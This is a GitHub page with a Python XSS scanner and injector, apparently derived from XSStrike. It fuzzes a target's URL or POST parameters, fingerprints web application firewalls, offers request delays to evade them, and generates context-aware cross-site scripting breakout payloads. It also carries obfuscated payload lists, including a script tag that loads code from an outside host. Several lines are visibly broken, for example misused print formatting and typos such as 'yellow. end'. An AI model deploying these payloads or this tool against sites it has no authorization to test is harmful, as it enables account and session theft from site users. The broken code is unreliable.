-
Notifications
You must be signed in to change notification settings - Fork 2
/
Copy pathxss.py
695 lines (630 loc) · 32 KB
/
xss.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203
204
205
206
207
208
209
210
211
212
213
214
215
216
217
218
219
220
221
222
223
224
225
226
227
228
229
230
231
232
233
234
235
236
237
238
239
240
241
242
243
244
245
246
247
248
249
250
251
252
253
254
255
256
257
258
259
260
261
262
263
264
265
266
267
268
269
270
271
272
273
274
275
276
277
278
279
280
281
282
283
284
285
286
287
288
289
290
291
292
293
294
295
296
297
298
299
300
301
302
303
304
305
306
307
308
309
310
311
312
313
314
315
316
317
318
319
320
321
322
323
324
325
326
327
328
329
330
331
332
333
334
335
336
337
338
339
340
341
342
343
344
345
346
347
348
349
350
351
352
353
354
355
356
357
358
359
360
361
362
363
364
365
366
367
368
369
370
371
372
373
374
375
376
377
378
379
380
381
382
383
384
385
386
387
388
389
390
391
392
393
394
395
396
397
398
399
400
401
402
403
404
405
406
407
408
409
410
411
412
413
414
415
416
417
418
419
420
421
422
423
424
425
426
427
428
429
430
431
432
433
434
435
436
437
438
439
440
441
442
443
444
445
446
447
448
449
450
451
452
453
454
455
456
457
458
459
460
461
462
463
464
465
466
467
468
469
470
471
472
473
474
475
476
477
478
479
480
481
482
483
484
485
486
487
488
489
490
491
492
493
494
495
496
497
498
499
500
501
502
503
504
505
506
507
508
509
510
511
512
513
514
515
516
517
518
519
520
521
522
523
524
525
526
527
528
529
530
531
532
533
534
535
536
537
538
539
540
541
542
543
544
545
546
547
548
549
550
551
552
553
554
555
556
557
558
559
560
561
562
563
564
565
566
567
568
569
570
571
572
573
574
575
576
577
578
579
580
581
582
583
584
585
586
587
588
589
590
591
592
593
594
595
596
597
598
599
600
601
602
603
604
605
606
607
608
609
610
611
612
613
614
615
616
617
618
619
620
621
622
623
624
625
626
627
628
629
630
631
632
633
634
635
636
637
638
639
640
641
642
643
644
645
646
647
648
649
650
651
652
653
654
655
656
657
658
659
660
661
662
663
664
665
666
667
668
669
670
671
672
673
674
675
676
677
678
679
680
681
682
683
684
685
686
687
688
689
690
691
692
693
694
695
from urllib.parse import urlparse, parse_qs # library to parse urls and perform operationsimport sys # Standars system library
import webbrowser # To open pages in "real" browers
import mechanize # To make request to webpages
from urllib.parse import quote_plus # To encode payloads
from prettytable import PrettyTable # Module for print table of results
from fuzzywuzzy import fuzz # Module for fuzzy matching
from html.parser import HTMLParser # For parsing HTMLfrom time import sleep # To pause the program for a specific time
import re # Module for RegEx
import time
import sys
br = mechanize.Browser() # Just shortening the calling function
br.set_handle_robots(False) # Don't follow robots.txt
br.set_handle_equiv(True) # I don't know what it does, but its some good shit
br.set_handle_redirect(True) # Follow redirects
br.set_handle_referer(True) # Include referrer
br.addheaders = [('User-agent', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.0.1) Gecko/2008071615 Fedora/3.0.1-1.fc9 Firefox/3.0.1'),
('Accept-Encoding', 'deflate'), ('Accept', 'text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8')]
# Just some colors and shit
white = '\033[1;97m'
green = '\033[1;32m'
red = '\033[1;31m'
yellow = '\033[1;33m'
end = '\033[1;m'
info = '\033[1;33m[!]\033[1;m'
que = '\033[1;34m[?]\033[1;m'
bad = '\033[1;31m[-]\033[1;m'
good = '\033[1;32m[+]\033[1;m'
run = '\033[1;97m[~]\033[1;m'
xsschecker = 'd3v' # A non malicious string to check for reflections and stuff
paranames = [] # list for storing parameter names
paravalues = [] # list for storing parameter values
CURRENTLY_OPEN_TAGS = [] # Used by HTML parser
OPEN_EMPTY_TAG = "" # to store context i.e. <input attr=$reflection> then input will be open tag
blacklist = ['html','body','br'] # These tags are normally empty thats why we are ignoring them
whitelist = ['input', 'textarea'] # These tags are the top priority to break out from
NUM_REFLECTIONS = 0 # Number of reflections
OCCURENCE_NUM = 0 # Occurence number
OCCURENCE_PARSED = 0 # Occurence parsed by the parser
occur_number = []
occur_location = []
delay = 0
tags = ['sVg', 'iMg', 'bOdY', 'd3v', 'deTails'] # HTML Tags
event_handlers = { # Event handlers and the name of tags which can be used with them
'oNeRror': ['sVg', 'iMg', 'viDeo'],
'oNloAd': ['sVg', 'bOdY'],
'oNsTart': ['maRQuee'],
'oNMoUseOver': ['d3v', 'IfRame', 'bOdY'],
'oNfoCus': ['d3v', 'bOdY'],
'oNCliCk': ['d3v', 'bOdY'],
'oNMoUseOver': ['d3v', 'a', 'bOdY'],
'oNToggLe': ['deTails']
}
functions = [ # JavaScript functions to get a popup
'[8].find(alert)', 'confirm()',
'(alert)()', 'co\u006efir\u006d()',
'(prompt)``', 'a=prompt,a()']
# "Not so malicious" payloads for fuzzing
fuzzes = ['<z oNxXx=yyy>', '<z xXx=yyy>', '<z o%%00nload=yyy>', '<z oNStart=confirm()>', '<z oNMousEDown=(((alert)))()>', '<z oNMousEDown=(prompt)``>', '<EmBed sRc=//14.rs>',
'<EmBed sRc=\/\\14.rs>', '<z oNMoUseOver=yyy>', '<z oNMoUsedoWn=yyy>', '<z oNfoCus=yyy>', '<z oNsUbmit=yyy>', '<z oNToggLe=yyy>', '<z oNoRieNtATionChaNge=yyy>', '<z OnReaDyStateChange=yyy>',
'<z oNbEfoReEdiTFoCus=yyy>', '<z oNDATAsEtChangeD=yyy>', '<sVG x=y>', '<bODy x=y>', '<emBed x=y>', '<aUdio x=y>', '<sCript x=y z>', '<iSinDEx x=y>',
'<deTaiLs x=y>', '<viDeo x=y>', '<MaTh><x:link>', 'x<!--y-->z', '<test>', '<script>String.fromCharCode(99, 111, 110, 102, 105, 114, 109, 40, 41)</script>',
'">payload<br attr="', '<script>', '<r sRc=x oNError=r>', '<x OnCliCk=(prompt)()>click',
'<bGsOund sRc=x>']
payloads = [ # Payloads for blind xss and simple bruteforcing
'\'"</Script><Html Onmouseover=(alert)(1) //'
'<imG/sRc=l oNerrOr=(prompt)() x>',
'<!--<iMg sRc=--><img src=x oNERror=(prompt)`` x>',
'<deTails open oNToggle=confi\u0072m()>',
'<A/iD=x hREf=javascript:(prompt)(1) id=x>Click</A>',
'<img sRc=l oNerrOr=(confirm)() x>',
'<iMg sRc=x:confirm`` oNError=e\u0076al(src)>',
'<sCript x>confirm``</script x>',
'--><sVg/oNLoad=(confirm)()><!--',
'<sCriPt sRc=//14.rs>',
'<iMg sRc=x:confirm`` oNError=eval(src)>',
'<svG oNLoad=confirm(1)>',
'<Script x>prompt()</scRiPt x>',
'\'"><y oNMousEDown=((alert))()>ClickHere!',
'<a/href=javascript:co\u006efir\u006d("1")>clickme</a>',
'<img src=x onerror=co\u006efir\u006d`1`>',
'<svg/onload=co\u006efir\u006d`1`>']
# Banner
def fuzzer(url, param_data, GET, POST):
result = [] # Result of fuzzing
progress = 0 # Variable for recording the progress of fuzzing
for i in fuzzes:
progress = progress + 1
time.sleep(delay) # Pausing the program. Default = 0 sec. In case of WAF = 6 sec. # Pausing the program. Default = 0 sec. In case of WAF = 6 sec.
sys.stdout.write('\r%s Fuzz Sent: %i/%i' % (run, progress, len(fuzzes)))
sys.stdout.flush()
try:
fuzzy = quote_plus(i) # URL encoding the payload
param_data_injected = param_data.replace(xsschecker, fuzzy) # Replcaing the xsschecker with fuzz
if GET: # GET parameter
response = br.open(url + param_data_injected).read() # makes a request to example.com/search.php?q=<fuzz>
else: # POST parameter
response = br.open(url, param_data_injected).read() # Seperating the "param_data_injected" with comma because its POST data
if i in response: # if fuzz string is reflected in the response / source code
result.append({
'result' : '%sWorks%s' % (green, end),
'fuzz' : i})
else: # if the fuzz string was not reflected in the response completely
webbrowser.open(url + param_data)
result.append({
'result' : '%sFiltered%s' % (yellow, end),
'fuzz' : i})
except: # if the server returned an error (Maybe WAF blocked it)
result.append({
'result' : '%sBlocked%s' % (red, end),
'fuzz' : i})
table = PrettyTable(['Fuzz', 'Response']) # Creates a table with two columns
for value in result:
table.add_row([value['fuzz'], value['result']]) # Adds the value of fuzz and result to the columns
print ('\n', table)
##################
# WAF Detector
##################
#Function to detect WAF by analysing HTTP response codes
def WAF_detector(url, param_data, GET, POST):
global WAF
WAF = False
noise = quote_plus('<script>alert()</script>') #a payload which is noisy enough to provoke the WAF
fuzz = param_data.replace(xsschecker, noise) #Replaces xsschecker in param_data with noise
try:
time.sleep(delay) # Pausing the program. Default = 0 sec. In case of WAF = 6 sec.
if GET:
response = br.open(url + fuzz) # Opens the noise injected payload
else:
response = br.open(url, fuzz) # Opens the noise injected payload
print ('%s WAF Status: Offline' % good)
except Exception as e: # if an error occurs, catch the error
e = str(e) # convert the error to a string
# Here, we are looking for HTTP response codes in the error to fingerprint the WAF
if '406' in e or '501' in e: # if the http response code is 406/501
WAF_Name = 'Mod_Security'
WAF = True
elif '999' in e: # if the http response code is 999
WAF_Name = 'WebKnight'
WAF = True
elif '419' in e: # if the http response code is 419
WAF_Name = 'F5 BIG IP'
WAF = True
elif '403' in e: # if the http response code is 403
WAF_Name = 'Unknown'
WAF = True
else:
print ('%s WAF Status: Offline' % good)
if WAF:
print('%s WAF Detected: %s' % (bad, WAF_Name))
###################
# Filter Checker
###################
def filter_checker(url, param_data, GET, POST):
strength = '' # A variable for containing strength of the filter
# Injecting a malicious payload first by replacing xsschecker with our payload
low_string = param_data.replace(xsschecker, quote_plus('<svg/onload=(confirm)()>'))
time.sleep(delay) # Pausing the program. Default = 0 sec. In case of WAF = 6 sec.
if GET:
low_request = br.open(url + low_string).read().decode('utf-8')
else:
low_request = br.open(url, low_string).read().decode('utf-8')
if '<svg/onload=(confirm)()>' in low_request: # If payload was reflected in response
print ("%s Filter Strength : %sLow or None%s") % (good, green, end)
print ('%s Payload: <svg/onload=(confirm)()>') % good
print ('%s Efficiency: 100%%') % good
choice = input('%s A payload with 100%% efficiency was found. Continue scanning? [y/N] ' % que).lower()
if choice == 'y':
pass
else:
quit()
strength = 'low' # As a malicious payload was not filtered, the filter is weak
else: # If malicious payload was filtered (was not in the response)
# Now we will use a less malicious payload
medium_string = param_data.replace(xsschecker, quote_plus('<zz//onxx=yy>'))
time.sleep(delay)
print("URL: ", url) # Debugging line
print("Medium String: ", medium_string) # Debugging line
print("Combined URL: ", url + medium_string) # Debugging line
# Pausing the program. Default = 0 sec. In case of WAF = 6 sec.
if GET:
medium_request = br.open(url + medium_string).read().decode('utf-8')
else:
medium_request = br.open(url + medium_string).read().decode('utf-8')
if '<zz onxx=yy>' in medium_request:
print ('%s Filter Strength : %sMedium%s') % (info, yellow. end)
strength = 'medium'
else: #Printing high since result was not medium/low
print ('%s Filter Strength : %sHigh%s') % (bad, red, end)
strength = 'high'
return strength
##################
# Locater
##################
def locater(url, param_data, GET, POST):
init_resp = make_request(url, param_data, GET, POST) # Makes request to the target
if(xsschecker in init_resp.lower()): # if the xsschecker is found in the response
global NUM_REFLECTIONS # The number of reflections of xsschecker in the response
NUM_REFLECTIONS = init_resp.lower().count(xsschecker.lower()) # Counts number of time d3v got reflected in webpage
print ('%s Number of reflections found: %i') % (info, NUM_REFLECTIONS)
for i in range(NUM_REFLECTIONS):
global OCCURENCE_NUM
OCCURENCE_NUM = i+1
scan_occurence(init_resp) # Calls out a function to find context/location of xsschecker
# Reset globals for next instance
global ALLOWED_CHARS, IN_SINGLE_QUOTES, IN_DOUBLE_QUOTES, IN_TAG_ATTRIBUTE, IN_TAG_NON_ATTRIBUTE, IN_SCRIPT_TAG, CURRENTLY_OPEN_TAGS, OPEN_TAGS, OCCURENCE_PARSED, OPEN_EMPTY_TAG
ALLOWED_CHARS, CURRENTLY_OPEN_TAGS, OPEN_TAGS = [], [], []
IN_SINGLE_QUOTES, IN_DOUBLE_QUOTES, IN_TAG_ATTRIBUTE, IN_TAG_NON_ATTRIBUTE, IN_SCRIPT_TAG = False, False, False, False, False
OCCURENCE_PARSED = 0
OPEN_EMPTY_TAG = ""
else: #Launched hulk if no reflection is found. Hulk Smash!
print ('%s No reflection found.') % bad
def scan_occurence(init_resp):
# Parses the response to locate the position/context of xsschecker i.e. d3v
location = html_parse(init_resp) # Calling out the parser function
if location in ('script_data', 'html_data', 'start_end_tag_attr', 'attr'):
occur_number.append(OCCURENCE_NUM)
occur_location.append(location)
# We are treating the comment context differentally because if a payload is reflected
# in comment, it won't execute. So will we test the comment context first
elif location == 'comment':
occur_number.insert(0, OCCURENCE_NUM) # inserting the occurence_num in start of the list
occur_location.insert(0, location) # same as above
else:
pass
def html_parse(init_resp):
parser = MyHTMLParser() # initializes the parser
location = '' # Variable for containing the location lol
try:
parser.feed(init_resp) # submitting the response to the parser
except Exception as e: # Catching the exception/error
location = str(e) # The error is actually the location. For more info, check MyHTMLParser class
return location # Returns the location
def test_param_check(payload_to_check, payload_to_compare, OCCURENCE_NUM, url, param_data, GET, POST, action):
check_string = 'XSSSTART' + payload_to_check + 'XSSEND' # We are adding XSSSTART and XSSEND to make
compare_string = 'XSSSTART' + payload_to_compare + 'XSSEND' # the payload distinguishable in the response
param_data_injected = param_data.replace(xsschecker, check_string)
try:
check_response = make_request(url, param_data_injected, GET, POST)
except:
check_response = ''
success = False
occurence_counter = 0 # Variable to keep track of which reflection is going through the loop
# Itretating over the reflections
for m in re.finditer('XSSSTART', check_response, re.IGNORECASE):
occurence_counter = occurence_counter + 1
efficiency = fuzz.partial_ratio(check_response[m.start():m.start()+len(compare_string)].lower(), compare_string.lower())
if efficiency == 100:
if action == 'do':
print ('\n%s Payload: %s') % (good, payload_to_compare)
print ('%s Efficiency: 100%%') % good
choice = input('%s A payload with 100%% efficiency was found. Continue scanning? [y/N]' % que).lower()
if choice == 'y':
pass
else:
if GET:
webbrowser.open(url+param_data.strip(xsschecker)+payload_to_compare)
quit()
else:
print ('%s XSStrike gets shit done.')
elif occurence_counter == OCCURENCE_NUM:
success = True
if efficiency > 90:
if action == 'do':
print ('\n%s Payload: %s') % (good, payload_to_compare)
print ('%s Efficiency: %s') % (good, efficiency)
try:
data_type = occur_location[OCCURENCE_NUM - 1]
if data_type == 'comment':
location_readable = 'inside a HTML comment '
elif data_type == 'html_data':
location_readable = 'as data or plaintext on the page'
elif data_type == 'script_data':
location_readable = 'as data in javascript'
elif data_type == 'start_end_tag_attr':
location_readable = 'as an attribute in an empty tag'
elif data_type == 'attr':
location_readable = 'as an attribute in an HTML tag'
print ('%s Location: %s') % (good, location_readable)
except:
continue
return success
def make_request(url, param_data, GET, POST): #The main function which actually makes contact with the target
time.sleep(delay) # Pausing the program. Default = 0 sec. In case of WAF = 6 sec.
try:
if GET:
resp = br.open(url + param_data) #Makes request
return resp.read() #Reads the output
elif POST:
resp = br.open(url, param_data) #Makes request
return resp.read() #Reads the output
except:
print ('\n%s Target isn\'t responding.') % bad
quit()
class MyHTMLParser(HTMLParser):
def handle_comment(self, data):
global OCCURENCE_PARSED
if(xsschecker.lower() in data.lower()):
OCCURENCE_PARSED += 1
if(OCCURENCE_PARSED == OCCURENCE_NUM):
raise Exception("comment")
def handle_startendtag(self, tag, attrs):
global OCCURENCE_PARSED
global OCCURENCE_NUM
global OPEN_EMPTY_TAG
if (xsschecker.lower() in str(attrs).lower()):
OCCURENCE_PARSED += 1
if(OCCURENCE_PARSED == OCCURENCE_NUM):
OPEN_EMPTY_TAG = tag
raise Exception("start_end_tag_attr")
def handle_starttag(self, tag, attrs):
global CURRENTLY_OPEN_TAGS
global OPEN_TAGS
global OCCURENCE_PARSED
if(tag not in blacklist):
CURRENTLY_OPEN_TAGS.append(tag)
if (xsschecker.lower() in str(attrs).lower()):
if(tag == "script"):
OCCURENCE_PARSED += 1
if(OCCURENCE_PARSED == OCCURENCE_NUM):
raise Exception("script")
else:
OCCURENCE_PARSED += 1
if(OCCURENCE_PARSED == OCCURENCE_NUM):
raise Exception("attr")
def handle_endtag(self, tag):
global CURRENTLY_OPEN_TAGS
global OPEN_TAGS
global OCCURENCE_PARSED
if(tag not in blacklist):
CURRENTLY_OPEN_TAGS.remove(tag)
def handle_data(self, data):
global OCCURENCE_PARSED
if (xsschecker.lower() in data.lower()):
OCCURENCE_PARSED += 1
if(OCCURENCE_PARSED == OCCURENCE_NUM):
try:
if(CURRENTLY_OPEN_TAGS[len(CURRENTLY_OPEN_TAGS)-1] == "script"):
raise Exception("script_data")
else:
raise Exception("html_data")
except:
raise Exception("html_data")
#################
# Which Quote
#################
def which_quote(OCCURENCE_NUM, url, param_data, GET, POST):
check_string = 'XSSSTART' + 'd3v' + 'XSSEND'
compare_string = 'XSSSTART' + 'd3v' + 'XSSEND'
param_data_injected = param_data.replace(xsschecker, check_string)
try:
check_response = make_request(url, param_data_injected, GET, POST)
except:
check_response = ''
quote = ''
occurence_counter = 0
for m in re.finditer('XSSSTART', check_response, re.IGNORECASE):
occurence_counter += 1
if occurence_counter == OCCURENCE_NUM and (check_response[(m.start()-1):m.start()] == '\'' or check_response[(m.start()-1):m.start()] == '"'):
return check_response[(m.start()-1):m.start()]
elif occurence_counter == OCCURENCE_NUM:
return quote
################
# Injector
################
def inject(url, param_data, GET, POST):
special = ''
l_filling = ''
e_fillings = ['%0a','%09','%0d','+'] # "Things" to use between event handler and = or between function and =
fillings = ['%0a','%09','%0d','/+/'] # "Things" to use instead of space
for OCCURENCE_NUM, location in zip(occur_number, occur_location):
print ('\n%s Testing reflection no. %s ') % (run, OCCURENCE_NUM)
allowed = []
if test_param_check('k"k', 'k"k', OCCURENCE_NUM, url, param_data, GET, POST, action='nope'):
print ('%s Double Quotes (") are allowed.') % good
double_allowed = True
allowed.append('"')
elif test_param_check('k"k', 'k"k', OCCURENCE_NUM, url, param_data, GET, POST, action='nope'):
print ('%s Double Quotes (") are not allowed.') % bad
print ('%s HTML Encoding detected i.e " --> "') % bad
HTML_encoding = True
else:
print ('%s Double Quotes (") are not allowed.') % bad
double_allowed = False
if test_param_check('k\'k', 'k\'k', OCCURENCE_NUM, url, param_data, GET, POST, action='nope'):
print ('%s Single Quotes (\') are allowed.') % good
single_allowed = True
allowed.append('\'')
else:
single_allowed = False
print ('%s Single Quotes (\') are not allowed.') % bad
if test_param_check('<lol>', '<lol>', OCCURENCE_NUM, url, param_data, GET, POST, action='nope'):
print ('%s Angular Brackets (<>) are allowed.') % good
angular_allowed = True
allowed.extend(('<', '>'))
else:
angular_allowed = False
print ('%s Angular Brackets (<>) are not allowed.') % bad
if test_param_check('k>k', 'k>k', OCCURENCE_NUM, url, param_data, GET, POST, action='nope') or test_param_check('>', '>', OCCURENCE_NUM, url, param_data, GET, POST, action='nope'):
entity_allowed = True
allowed.append('entity')
print ('%s HTML Entities are allowed.') % good
else:
entity_allowed = False
print ('%s HTML Entities are not allowed.') % bad
if location == 'comment':
print ('%s Trying to break out of %sHTML Comment%s context.') % (run, green, end)
prefix = '-->'
suffixes = ['', '<!--']
progress = 1
for suffix in suffixes:
for tag in tags:
for event_handler, compatible in event_handlers.items():
if tag in compatible:
for filling, function, e_fillings in zip(fillings, functions, e_fillings):
progress = progress + 1
sys.stdout.write('\r%s Payloads tried: %i' % (run, progress))
sys.stdout.flush()
payload = '%s<%s%s%s%s%s=%s%s%s>%s' % (prefix, tag, filling, special, event_handler, e_filling, e_filling, function, l_filling, suffix)
test_param_check(quote_plus(payload), payload, OCCURENCE_NUM, url, param_data, GET, POST, action='do')
elif location == 'script_data':
print ('%s Trying to break out of %sJavaScript%s context.') % (run, green, end)
prefix_suffix = {'\'-': '-\'', '\\\'-': '-\\\'', '\\\'-': '//\''}
progress = 0
for prefix, suffix in prefix_suffix:
for function in functions:
progress = progress + 1
sys.stdout.write('\r%s Payloads tried: %i' % (run, progress))
sys.stdout.flush()
payload = prefix + function + suffix
test_param_check(quote_plus(payload), payload, OCCURENCE_NUM, url, action='do')
test_param_check(quote_plus('</script><svg onload=prompt()>'), '</script><svg onload=prompt()>', OCCURENCE_NUM, url. param_data, GET, POST, action='do')
elif location == 'html_data':
print ('%s Trying to break out of %sPlaintext%s context.') % (run, green, end)
progress = 0
l_than, g_than = '', ''
if angular_allowed:
l_than, g_than = '<', '>'
elif entity_allowed:
l_than, g_than = '<', '>'
else:
print ('%s Angular brackets are being filtered. Unable to generate payloads.') % bad
continue
for tag in tags:
for event_handler, compatible in event_handlers.items():
if tag in compatible:
for filling, function, e_filling in zip(fillings, functions, e_fillings):
progress = progress + 1
sys.stdout.write('\r%s Payloads tried: %i' % (run, progress))
sys.stdout.flush()
payload = '%s%s%s%s%s%s=%s%s%s%s' % (l_than, tag, filling, special, event_handler, e_filling, e_filling, function, l_filling, g_than)
test_param_check(quote_plus(payload), payload, OCCURENCE_NUM, url, param_data, GET, POST, action='do')
elif location == 'start_end_tag_attr' or location == 'attr':
print ('%s Trying to break out of %sAttribute%s context.') % (run, green, end)
quote = which_quote(OCCURENCE_NUM, url, param_data, GET, POST)
if quote == '':
prefix = ['/>']
suffixes = ['<"', '<\'', '<br attr\'=', '<br attr="']
elif quote in allowed:
prefix = '%s>' % quote
suffixes = ['<%s' % quote, '<br attr=%s' % quote]
progress = 0
for suffix in suffixes:
for tag in tags:
for event_handler, compatible in event_handlers.items():
if tag in compatible:
for filling, function, e_filling in zip(fillings, functions, e_fillings):
progress = progress + 1
sys.stdout.write('\r%s Payloads tried: %i' % (run, progress))
sys.stdout.flush()
payload = '%s<%s%s%s%s%s=%s%s%s>%s' % (prefix, tag, filling, special, event_handler, e_filling, e_filling, function, l_filling, suffix)
test_param_check(quote_plus(payload), payload, OCCURENCE_NUM, url, param_data, GET, POST, action='do')
elif quote not in allowed and 'entity' in allowed:
prefix = ''
if quote == '\'':
prefix = '''
suffixes = ['<'', '< attr='']
elif quote == '"':
prefix = '"e'
suffixes = ['<"e', '<br attr="e']
for suffix in suffixes:
progress = 0
for tag in tags:
for event_handler, compatible in event_handlers.items():
if tag in compatible:
for filling, function, e_filling in zip(fillings, functions, e_fillings):
progress = progress + 1
sys.stdout.write('\r%s Payloads tried: %i' % (run, progress))
sys.stdout.flush()
payload = '%s<%s%s%s%s%s=%s%s%s>%s' % (prefix, tag, filling, special, event_handler, e_filling, e_filling, function, l_filling, suffix)
test_param_check(quote_plus(payload), payload, OCCURENCE_NUM, url, param_data, GET, POST, action='do')
else:
print ('%s Quotes are being filtered, its not possible to break out of the context.') % bad
###################
# Param Parser
###################
def param_parser(target, param_data, GET, POST):
global url
if POST:
target = target + '?' + param_data
parsed_url = urlparse(target)
url = parsed_url.scheme+'://'+parsed_url.netloc+parsed_url.path
parameters = parse_qs(parsed_url.query, keep_blank_values=True)
for para in parameters:
for i in parameters[para]:
paranames.append(para)
paravalues.append(i)
##################
# Initiator
##################
def initiator(url, GET, POST):
if paranames:
if GET:
GET, POST = True, False
WAF_detector(url, '?'+paranames[0]+'='+paravalues[0], GET, POST)
current_param = 0
for param_name in paranames:
print('-' * 50)
run = "Running"
print ('%s Testing parameter %s%s%s' % (run, green, param_name, end))
paranames_combined = []
for param_name, param_value in zip(paranames, paravalues):
paranames_combined.append('&' + param_name + '=' + param_value)
new_param_data = []
current = '&' + paranames[current_param] + '='
for i in paranames_combined:
if current in i:
pass
else:
new_param_data.append(i)
param_data = '?' + paranames[current_param] + '=' + xsschecker + ''.join(new_param_data)
if WAF:
choice = input('%s A WAF is active on the target. Would you like to delay requests to evade suspicion? [y/N] ' % que)
if choice == 'y':
delay = 6
else:
delay = 0
fuzzer(url, param_data, GET, POST) #Launches fuzzer aka Ninja
filter_checker(url, param_data, GET, POST) # Launces filter checker
locater(url, param_data, GET, POST) # Launcher locater
inject(url, param_data, GET, POST) # Launches injector
del occur_number[:]
del occur_location[:]
current_param = current_param + 1
elif POST:
GET, POST = False, True
WAF_detector(url, '?'+paranames[0]+'='+xsschecker, GET, POST)
current_param = 0
for param_name in paranames:
print('-' * 50)
run = "Running"
print ('%s Testing parameter %s%s%s' % (run, green, param_name, end))
paranames_combined = []
new_param_data = []
for param_name, param_value in zip(paranames, paravalues):
paranames_combined.append('&' + param_name + '=' + param_value)
current = '&' + paranames[current_param] + '='
for i in paranames_combined:
if current in i:
pass
else:
new_param_data.append(i)
param_data = paranames[current_param] + '=' + xsschecker + ''.join(new_param_data)
if WAF:
choice = input('%s A WAF is active on the target. Would you like to delay requests to evade suspicion? [y/N] ' % que)
if choice == 'y':
delay = 6
else:
delay = 0
fuzzer(url, param_data, GET, POST) # Launches fuzzer aka Ninja
filter_checker(url, param_data, GET, POST) # Launches filter checker
locater(url, param_data, GET, POST) # Launches locater
inject(url, param_data, GET, POST) # Launches injector
del occur_number[:] # Clears the occur_number list
del occur_location[:] # Clears the occur_location list
current_param = current_param + 1
if len(occur_number) == 0 and GET:
choice = input('%s Execute project HULK for blind XSS Detection? [Y/n]' % que).lower()
if choice == 'n':
quit()
else:
for payload in payloads:
param_data = param_data.replace(xsschecker, payload) # Replaces the xsschecker with payload
print ('%s Payload: %s') % (info, payload)
webbrowser.open(url + param_data) # Opens the "injected" URL in browser
next = input('%s Press enter to execute next payload' % que)
elif len(occur_number) == 0 and POST:
choice = input('%s Would you like to generate some payloads for blind XSS? [Y/n]' % que).lower()
if choice == 'n':
quit()
else:
for payload in payloads: # We will print the payloads from the payloads list
print ('%s %s') % (info, payload)
else:
print("No parameters found.")
##############
# Input
##############
def get_input():
target = input('%s Enter a url: ' % que)
if 'http' in target: # if the target has http in it, do nothing
pass
else:
try:
br.open('http://%s' % target) # Makes request to the target with http schema
target = 'http://%s' % target
except: # if it fails, maybe the target uses https schema
target = 'https://%s' % target
try:
br.open(target) # Makes request to the target
except Exception as e: # if it fails, the target is unreachable
if 'ssl' in str(e).lower():
print ('%s Unable to verify target\'s SSL certificate.') % bad
quit()
else:
print ('%s Unable to connect to the target.') % bad
quit()
cookie = input('%s Enter cookie (if any): ' % que)
if cookie != '':
br.addheaders.append(('Cookie', cookie))
if '=' in target: # A url with GET request must have a = so...
GET, POST = True, False
param_data = ''
param_parser(target, param_data, GET, POST)
initiator(url, GET, POST)
else:
GET, POST = False, True
param_data = input('%s Enter POST data: ' % que)
param_parser(target, param_data, GET, POST)
initiator(url, GET, POST)
get_input() #This is the true start of the program